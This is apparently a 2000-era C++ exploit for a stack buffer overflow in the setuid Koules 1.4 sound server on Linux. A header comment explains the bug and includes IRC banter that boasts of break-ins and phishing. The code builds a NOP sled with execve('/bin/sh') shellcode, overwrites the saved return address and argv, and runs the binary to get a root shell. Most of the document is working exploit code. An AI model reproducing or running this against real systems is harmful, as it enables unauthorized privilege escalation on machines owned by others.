/*
   Coolz.cpp - yep a C Plus Plus exploit, I like that Strings STL :)

   This problem has been known since April this year, but I have not
   seen any exploit so far.

   First of all I wasn't planning to go and release another ordinary stack
   smash, but I found the setuid game on some wargame/hackme I played on.
   Funny thing was that the exploitability proved to be a bit harder than I
   had anticipated at first.

   The problem can be found in the Koules1.4 package, code file:
      koules.sndsrv.linux.c - function: init()

   The `int i` disappears in the optimization gcc does. Since the strcat()
   function concatenates an array of filenames, `argv` gets ruined.
   This will cause the first run of the loop to fail.
   If argv point somewhere into adressable memory space, the chances of
   having a second pointer in there are close to zero, thus the second loop
   will fail.
   Last of all, if the argv[1] does point to a valid address the string
   contained there shouldn't be long enough to overwrite eip a second time,
   since that gets us into trouble. That's about it :)
   Even then, this ONLY works on machines that have compiled SVGALIB support
   in and NOT on the X windows version of 'koules'.

  Requested IRC quotes:
    <dagger02> ik heb jeuk aan me ballen.

    <marshal-> waar ben jij nu mee bezig man
    <sArGeAnt> nog een keer sukkel
    <sArGeAnt> en je ken es lekker kijken hoe packetjes je modem binnen komen

    <gmd-> sex ?

    <orangehaw> Scrippie HOU JE MOND OF Ik PACkEt Je ? ;)

    <silvio> chicks dig me when i place a bet, cause the mandelbrot sucks
             compare to the julia set

    <jimjones> 4 years ago there was no aol account i couldnt phish, now my
               unix virii grow faster than the petry dish

    <dugje>  I've seen nasa.gov navy.mil compaq.com and microsoft.com, there
             is only one goal left .. *.root-servers.net.
  
   Love goes out to: Hester and Maja
   Shouts go out to: Aad de Bruin, Karel Roos, L.G. Weert, Louis Maatman,
                     Richard Vriesde.
             --  We always did feel the same, we just saw it from a
                  different point of view...
                      [Bob Dylan - Tangled up in Blue]

<Scrippie> vraag me af wat ze zullen doen bij klpd als ze dat lezen (:
<dugje> ghehe ... je een plaatsje hoger zetten op de priority list ..

   -- Scrippie/ronald@grafix.nl
/*

/* Synnergy.net (c) 2000 */

#include <cstdio>
#include <string>
#include <cstdlib>
#include <unistd.h>

#define FILENAME "/usr/local/lib/koules/koules.sndsrv.linux"

#define NOP     'A'
#define NUMNOPS 500
#define RETADDY "\x90\xfe\xff\xbf"
/* Since we return in the cleared environment, we don't need to have a
   return address we can influence by command line "offset" arguments */

string heavenlycode =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *addytostr(unsigned char *);

using namespace std;

main()
{
   string payload, vector;
   unsigned int i;
   const char *env[3];
   const char *ptr_to_bffffffc;

   /* Construction of our payload */
   payload.append(NUMNOPS, NOP);
   payload.append(heavenlycode);

   env[0] = payload.c_str();
   /* This memory address always contains 0x00000000 */
   env[1] = "\xfc\xff\xff\xbf";
   env[2] = NULL;

   /* Calculate for yourself, and check out: linux/fs/exec.c */
   ptr_to_bffffffc =
        addytostr((unsigned char *)(0xc0000000-sizeof(void *)-sizeof(FILENAME)
                                    -sizeof(heavenlycode)-sizeof(char *)-1));

   for(i=0;i<256;i++) {
      vector.append(RETADDY);           /* Fill the buffer */
   }
   /* We do NOT overwrite 'int i' - a register is used after gcc -O */
   vector.append(RETADDY);              /* Overwrites ebp */
   vector.append(RETADDY);              /* Overwrites eip */
   vector.append(ptr_to_bffffffc);      /* Overwrites argv argument */

   execle(FILENAME, "Segmentation fault (core dumped)", vector.c_str(), "A",
          NULL, env);

   perror("execle()");
}

char *addytostr(unsigned char *blaat)
{
   char *ret;

   if(!(ret = (char *)malloc(sizeof(unsigned char *)+1))) {
      perror("malloc()");
      exit(EXIT_FAILURE);
   }
   memcpy(ret, &blaat, sizeof(unsigned char *));
   ret[sizeof(unsigned char *)] = 0x00;

   return(ret);
}